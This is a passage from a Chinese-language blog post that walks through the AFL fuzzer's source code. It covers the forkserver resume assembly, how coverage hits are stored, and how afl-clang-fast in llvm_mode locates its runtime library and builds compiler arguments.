&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;41&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;42&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;43&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;44&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;45&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;__afl_fork_resume:&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;&#x2F;* In child process: close fds, resume execution. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq $&quot; STRINGIFY(FORKSRV_FD) &quot;, %rdi&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;CALL_L64(&quot;close&quot;)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq $(&quot; STRINGIFY(FORKSRV_FD) &quot; + 1), %rdi&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;CALL_L64(&quot;close&quot;)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  popq %rdx&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  popq %rdx&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq %r12, %rsp&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  popq %r12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq  0(%rsp), %rax&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq  8(%rsp), %rcx&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 16(%rsp), %rdi&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 32(%rsp), %rsi&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 40(%rsp), %r8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 48(%rsp), %r9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 56(%rsp), %r10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 64(%rsp), %r11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq  96(%rsp), %xmm0&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 112(%rsp), %xmm1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 128(%rsp), %xmm2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 144(%rsp), %xmm3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 160(%rsp), %xmm4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 176(%rsp), %xmm5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 192(%rsp), %xmm6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 208(%rsp), %xmm7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 224(%rsp), %xmm8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 240(%rsp), %xmm9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 256(%rsp), %xmm10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 272(%rsp), %xmm11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 288(%rsp), %xmm12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 304(%rsp), %xmm13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 320(%rsp), %xmm14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq 336(%rsp), %xmm15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  leaq 352(%rsp), %rsp&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  jmp  __afl_store&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ol&gt;
&lt;li&gt;关闭子进程中的fd；&lt;&#x2F;li&gt;
&lt;li&gt;恢复子进程的寄存器状态；&lt;&#x2F;li&gt;
&lt;li&gt;跳转到 &lt;code&gt;__afl_store&lt;&#x2F;code&gt; 执行。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;__afl_store:&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Calculate and store hit for the code location specified in rcx. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  xorq __afl_prev_loc(%rip), %rcx&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  xorq %rcx, __afl_prev_loc(%rip)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  shrq $1, __afl_prev_loc(%rip)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  incb (%rdx, %rcx, 1)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;我们直接看反编译的代码：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-prev-loc-xor-decompiled.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210902160522.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这里第一步的异或中的 &lt;code&gt;a4&lt;&#x2F;code&gt; ，其实是调用 &lt;code&gt;__afl_maybe_log&lt;&#x2F;code&gt; 时传入 的参数：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-instrumentation-trampoline.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210902160753.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;再往上追溯到插桩代码：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-trampoline-rcx-random-id.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210902162008.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可以看到传入 &lt;code&gt;rcx&lt;&#x2F;code&gt; 的，实际上就是用于标记当前桩的随机id， 而 &lt;code&gt;_afl_prev_loc&lt;&#x2F;code&gt; 其实是上一个桩的随机id。&lt;&#x2F;p&gt;
&lt;p&gt;经过两次异或之后，再将 &lt;code&gt;_afl_prev_loc&lt;&#x2F;code&gt; 右移一位作为新的 &lt;code&gt;_afl_prev_loc&lt;&#x2F;code&gt;，最后再共享内存中存储当前插桩位置的地方计数加一。&lt;&#x2F;p&gt;
&lt;p&gt;LLVM 主要为了解决编译时多种多样的前端和后端导致编译环境复杂、苛刻的问题，其核心为设计了一个称为 &lt;code&gt;LLVM IR&lt;&#x2F;code&gt; 的中间表示，并以库的形式提供一些列接口，以提供诸如操作 IR 、生成目标平台代码等等后端的功能。其整体架构如下所示：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;llvm-unified-ir-architecture.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210906150210.png&quot; &#x2F;&gt;&quot;)&lt;&#x2F;p&gt;
&lt;p&gt;不同的前端和后端使用统一的中间代码&lt;code&gt;LLVM InterMediate Representation(LLVM IR)&lt;&#x2F;code&gt;，其结果就是如果需要支持一门新的编程语言，只需要实现一个新的前端；如果需要支持一款新的硬件设备，只需要实现一个新的后端；优化阶段为通用阶段，针对统一的 LLVM IR ，与新的编程语言和硬件设备无关。&lt;&#x2F;p&gt;
&lt;p&gt;GCC 的前后端耦合在一起，没有进行分离，所以GCC为了支持一门新的编程语言或一个新的硬件设备，需要重新开发前端到后端的完整过程。&lt;&#x2F;p&gt;
&lt;p&gt;Clang 是 LLVM 项目的一个子项目，它是 LLVM 架构下的 C&#x2F;C++&#x2F;Objective-C 的编译器，是 LLVM 前端的一部分。相较于GCC，具备编译速度快、占用内存少、模块化设计、诊断信息可读性强、设计清晰简单等优点。&lt;&#x2F;p&gt;
&lt;p&gt;最终从源码到机器码的流程如下（以 Clang 做编译器为例）：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;clang-llvm-compile-flow.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210906150029.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;（LLVM Pass 是一些中间过程处理 IR 的可以用户自定义的内容，可以用来遍历、修改 IR 以达到插桩、优化、静态分析等目的。）&lt;&#x2F;p&gt;
&lt;p&gt;代码首先由编译器前端clang处理后得到中间代码IR，然后经过各 LLVM Pass 进行优化和转换，最终交给编译器后端生成机器码。&lt;&#x2F;p&gt;
&lt;p&gt;AFL的 &lt;code&gt;llvm_mode&lt;&#x2F;code&gt; 可以实现编译器级别的插桩，可以替代 &lt;code&gt;afl-gcc&lt;&#x2F;code&gt; 或 &lt;code&gt;afl-clang&lt;&#x2F;code&gt; 使用的比较“粗暴”的汇编级别的重写的方法，且具备如下几个优势：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;编译器可以进行很多优化以提升效率；&lt;&#x2F;li&gt;
&lt;li&gt;可以实现CPU无关，可以在非 x86 架构上进行fuzz；&lt;&#x2F;li&gt;
&lt;li&gt;可以更好地处理多线程目标。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;在AFL的 &lt;code&gt;llvm_mode&lt;&#x2F;code&gt; 文件夹下包含3个文件： &lt;code&gt;afl-clang-fast.c&lt;&#x2F;code&gt; ，&lt;code&gt; afl-llvm-pass.so.cc&lt;&#x2F;code&gt;， &lt;code&gt;afl-llvm-rt.o.c&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;afl-llvm-rt.o.c&lt;&#x2F;code&gt; 文件主要是重写了 &lt;code&gt;afl-as.h&lt;&#x2F;code&gt; 文件中的 &lt;code&gt;main_payload&lt;&#x2F;code&gt; 部分，方便调用；&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;afl-llvm-pass.so.cc&lt;&#x2F;code&gt; 文件主要是当通过 &lt;code&gt;afl-clang-fast&lt;&#x2F;code&gt; 调用 clang 时，这个pass被插入到 LLVM 中，告诉编译器添加与 ``afl-as.h` 中大致等效的代码；&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;afl-clang-fast.c&lt;&#x2F;code&gt; 文件本质上是 clang 的 wrapper，最终调用的还是 clang 。但是与 &lt;code&gt;afl-gcc&lt;&#x2F;code&gt; 一样，会进行一些参数处理。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;llvm_mode&lt;&#x2F;code&gt; 的插桩思路就是通过编写pass来实现信息记录，对每个基本块都插入探针，具体代码在 &lt;code&gt;afl-llvm-pass.so.cc&lt;&#x2F;code&gt; 文件中，初始化和forkserver操作通过链接完成。&lt;&#x2F;p&gt;
&lt;h6 id=&quot;1-main-han-shu&quot;&gt;1. main 函数&lt;&#x2F;h6&gt;
&lt;p&gt;&lt;code&gt;main&lt;&#x2F;code&gt; 函数的全部逻辑如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-llvm-main-logic.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210906161113.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;主要是对 &lt;code&gt;find_obj(), edit_params(), execvp()&lt;&#x2F;code&gt; 函数的调用，&lt;&#x2F;p&gt;
&lt;p&gt;其中主要有以下三个函数的调用：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;find_obj(argv[0])&lt;&#x2F;code&gt;：查找运行时library&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;edit_params(argc, argv)&lt;&#x2F;code&gt;：处理传入的编译参数，将确定好的参数放入 &lt;code&gt;cc_params[]&lt;&#x2F;code&gt; 数组&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;execvp(cc_params[0], (cahr**)cc_params)&lt;&#x2F;code&gt;：替换进程空间，传递参数，执行要调用的clang&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这里后两个函数的作用与 &lt;code&gt;afl-gcc.c&lt;&#x2F;code&gt; 中的作用基本相同，只是对参数的处理过程存在不同，不同的主要是 &lt;code&gt;find_obj()&lt;&#x2F;code&gt; 函数。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;find_obj()&lt;&#x2F;code&gt;函数的控制流逻辑如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-clang-find-obj-control-flow.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210906161809.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;首先，读取环境变量 &lt;code&gt;AFL_PATH&lt;&#x2F;code&gt; 的值：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果读取成功，确认 &lt;code&gt;AFL_PATH&#x2F;afl-llvm-rt.o&lt;&#x2F;code&gt; 是否可以访问；如果可以访问，设置该目录为 &lt;code&gt;obj_path&lt;&#x2F;code&gt; ，然后直接返回；&lt;&#x2F;li&gt;
&lt;li&gt;如果读取失败，检查 &lt;code&gt;arg0&lt;&#x2F;code&gt; 中是否存在 &lt;code&gt;&#x2F;&lt;&#x2F;code&gt; 字符，如果存在，则判断最后一个 &lt;code&gt;&#x2F;&lt;&#x2F;code&gt; 前面的路径为 AFL 的根目录；然后读取&lt;code&gt;afl-llvm-rt.o&lt;&#x2F;code&gt;文件，成功读取，设置该目录为 &lt;code&gt;obj_path&lt;&#x2F;code&gt; ，然后直接返回。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果上面两种方式都失败，到&lt;code&gt;&#x2F;usr&#x2F;local&#x2F;lib&#x2F;afl&lt;&#x2F;code&gt; 目录下查找是否存在 &lt;code&gt;afl-llvm-rt.o&lt;&#x2F;code&gt; ，如果存在，则设置为 &lt;code&gt;obj_path&lt;&#x2F;code&gt; 并直接返回（之所以向该路径下寻找，是因为默认的AFL的MakeFile在编译时，会定义一个名为&lt;code&gt;AFL_PATH&lt;&#x2F;code&gt;的宏，该宏会指向该路径）；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果以上全部失败，抛出异常提示找不到 &lt;code&gt;afl-llvm-rt.o&lt;&#x2F;code&gt; 文件或 &lt;code&gt;afl-llvm-pass.so&lt;&#x2F;code&gt; 文件，并要求设置 &lt;code&gt;AFL_PATH&lt;&#x2F;code&gt; 环境变量 。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;函数的主要功能是在寻找AFL的路径以找到 &lt;code&gt;afl-llvm-rt.o&lt;&#x2F;code&gt; 文件，该文件即为要用到的运行时库。&lt;&#x2F;p&gt;
&lt;p&gt;该函数的主要作用仍然为编辑参数数组，其控制流程如下：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] afl-gcc 完整控制流：识别 afl-clang-fast、-m32&#x2F;-m64、-fsanitize（asan&#x2F;msan）、_FORTIFY_SOURCE，置 bit_mode&#x2F;asan_set&#x2F;fortify_set；clang 模式加 __AFL_HAVE_MANUAL_CONTROL 并链 afl-llvm-rt.o；ASAN&#x2F;MSAN 与 HARDEN 冲突 FATAL；AFL_NO_BUILTIN 禁 builtin；最后按 bit_mode 分支完成参数拼装。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;首先，判断执行的是否为 &lt;code&gt;afl-clang-fast++&lt;&#x2F;code&gt; ：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果是，设置 &lt;code&gt;cc_params[0]&lt;&#x2F;code&gt; 为环境变量 &lt;code&gt;AFL_CXX&lt;&#x2F;code&gt;；如果环境变量为空，则设置为 &lt;code&gt;clang++&lt;&#x2F;code&gt; ；&lt;&#x2F;li&gt;
&lt;li&gt;如果不是，设置 &lt;code&gt;cc_params[0]&lt;&#x2F;code&gt; 为环境变量 &lt;code&gt;AFL_CC&lt;&#x2F;code&gt;；如果环境变量为空，则设置为 &lt;code&gt;clang&lt;&#x2F;code&gt; ；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;判断是否定义了 &lt;code&gt;USE_TRACE_PC&lt;&#x2F;code&gt; 宏，如果有，添加 &lt;code&gt;-fsanitize-coverage=trace-pc-guard -mllvm(only Android) -sanitizer-coverage-block-threshold=0(only Android)&lt;&#x2F;code&gt; 选项到参数数组；如果没有，依次将 &lt;code&gt;-Xclang -load -Xclang obj_path&#x2F;afl-llvm-pass.so -Qunused-arguments&lt;&#x2F;code&gt; 选项添加到参数数组；（这里涉及到llvm_mode使用的2种插桩方式：默认使用的是传统模式，使用 &lt;code&gt;afl-llvm-pass.so&lt;&#x2F;code&gt; 注入来进行插桩，这种方式较为稳定；另外一种是处于实验阶段的方式——&lt;code&gt;trace-pc-guard&lt;&#x2F;code&gt; 模式，对于该模式的详细介绍可以参考&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;clang.llvm.org&#x2F;docs&#x2F;SanitizerCoverage.html#tracing-pcs-with-guards&quot;&gt;llvm相关文档——tracing-pcs-with-guards&lt;&#x2F;a&gt;）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;遍历传递给 &lt;code&gt;afl-clang-fast&lt;&#x2F;code&gt; 的参数，进行一定的检查和设置，并添加到 &lt;code&gt;cc_params&lt;&#x2F;code&gt; 数组：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果存在 &lt;code&gt;-m32&lt;&#x2F;code&gt; 或 &lt;code&gt;armv7a-linux-androideabi&lt;&#x2F;code&gt; ，设置 &lt;code&gt;bit_mode&lt;&#x2F;code&gt; 为32；&lt;&#x2F;li&gt;
&lt;li&gt;如果存在 &lt;code&gt;-m64&lt;&#x2F;code&gt; ，设置 &lt;code&gt;bit_mode&lt;&#x2F;code&gt; 为64；&lt;&#x2F;li&gt;
&lt;li&gt;如果存在 &lt;code&gt;-x&lt;&#x2F;code&gt; ，设置 &lt;code&gt;x_set&lt;&#x2F;code&gt; 为1；&lt;&#x2F;li&gt;
&lt;li&gt;如果存在 &lt;code&gt;-fsanitize=address&lt;&#x2F;code&gt; 或 &lt;code&gt;-fsanitize=memory&lt;&#x2F;code&gt;，设置 &lt;code&gt;asan_set&lt;&#x2F;code&gt; 为1；&lt;&#x2F;li&gt;
&lt;li&gt;如果存在 &lt;code&gt;-Wl,-z,defs&lt;&#x2F;code&gt; 或 &lt;code&gt;-Wl,--no-undefined&lt;&#x2F;code&gt;，则直接pass掉。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;检查环境变量是否设置了 &lt;code&gt;AFL_HARDEN&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果有，添加 &lt;code&gt;-fstack-protector-all&lt;&#x2F;code&gt; 选项；&lt;&#x2F;li&gt;
&lt;li&gt;如果有且没有设置 &lt;code&gt;FORTIFY_SOURCE&lt;&#x2F;code&gt; ，添加 &lt;code&gt;-D_FORTIFY_SOURCE=2&lt;&#x2F;code&gt; 选项；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;检查参数中是否存在 &lt;code&gt;-fsanitize=memory&lt;&#x2F;code&gt;，即 &lt;code&gt;asan_set&lt;&#x2F;code&gt; 为0：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果没有，尝试读取环境变量 &lt;code&gt;AFL_USE_ASAN&lt;&#x2F;code&gt;，如果存在，添加 &lt;code&gt;-U_FORTIFY_SOURCE -fsanitize=address&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;接下来对环境变量&lt;code&gt;AFL_USE_MSAN&lt;&#x2F;code&gt;的处理方式与 &lt;code&gt;AFL_USE_ASAN&lt;&#x2F;code&gt; 类似，添加的选项为 &lt;code&gt;-U_FORTIFY_SOURCE -fsanitize=memory&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;检查是否定义了 &lt;code&gt;USE_TRACE_PC&lt;&#x2F;code&gt; 宏，如果存在定义，检查是否存在环境变量 &lt;code&gt;AFL_INST_RATIO&lt;&#x2F;code&gt;，如果存在，抛出异常&lt;code&gt;AFL_INST_RATIO &lt;&#x2F;code&gt; 无法在trace-pc时使用；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;检查环境变量 &lt;code&gt;AFL_NO_BUILTIN&lt;&#x2F;code&gt; ，如果没有设置，添加 &lt;code&gt;-g -O3 -funroll-loops&lt;&#x2F;code&gt;；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;检查环境变量 &lt;code&gt;AFL_NO_BUILTIN&lt;&#x2F;code&gt;，如果进行了设置，添加 &lt;code&gt;-fno-builtin-strcmp -fno-builtin-strncmp -fno-builtin-strcasecmp -fno-builtin-strcasecmp -fno-builtin-memcmp&lt;&#x2F;code&gt;；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;添加参数 &lt;code&gt;-D__AFL_HAVE_MANUAL_CONTROL=1 -D__AFL_COMPILER=1 -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1&lt;&#x2F;code&gt;；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;定义了两个宏 &lt;code&gt;__AFL_LOOP(), __AFL_INIT()&lt;&#x2F;code&gt;；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;检查是否设置了 &lt;code&gt;x_set&lt;&#x2F;code&gt;， 如果有添加 &lt;code&gt;-x none&lt;&#x2F;code&gt;；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
